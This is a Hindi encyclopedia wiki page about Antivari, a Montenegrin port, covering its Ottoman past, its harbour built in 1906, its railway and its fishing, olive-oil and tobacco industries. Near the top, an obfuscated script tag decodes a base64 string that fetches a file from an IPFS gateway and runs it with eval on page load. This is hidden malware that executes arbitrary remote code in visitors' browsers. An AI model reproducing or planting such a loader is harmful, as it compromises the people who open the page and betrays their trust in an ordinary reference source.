ऐंटिवारी

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
ऐंटिवारी
पुस्तक नाम हिन्दी विश्वकोश खण्ड 2
पृष्ठ संख्या 266
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक श्यामसुंदर शर्मा

ऐंटिवारी यह सागरपत्तन वारी के विपरीत होने के कारण वेनिसवासियों द्वारा इसी नाम से पुकारा जाता है। यह यूगोस्लाविया के मांटेनीग्रो प्रदेश में है और सन्‌ 1878 ई. तक तुर्को के अधीन था। प्राचीन नगर समुद्र से हटकर रामीजा (5226 फुट) की छाया में जैतून के घने झुरमुटों से ढके हुए स्थल पर बसा हुआ है। यह एक भग्न प्राचीरवाला ग्राम है, जिसमें एक छोटा सा किला है। यह मसजिदों एवं बाजारों से घिरा हुआ है। पहाड़ों से घिरी हुई ऐंटिवारी की सुंदर खाड़ी यहाँ से तीन मील की दूरी पर है जहाँ प्रस्तन नामक पत्तन स्थित है। इस पत्तन (1906 ई. में बनाया गया) में 200 जहाज ठहर सकते हैं। एकमात्र रेलमार्ग वीरपजार से ऐंटिवारी तक की है, किंतु तट के किनारे सुंदर सड़क है। वारी आने जाने के लिए स्टीमरों द्वारा फेरी पार उतारने का प्रबंध है। मुख्य उद्योगों में मछली, पकड़ना, जैतून का तेल साफ करना तथा तंबाकू पैदा करना है।


टीका टिप्पणी और संदर्भ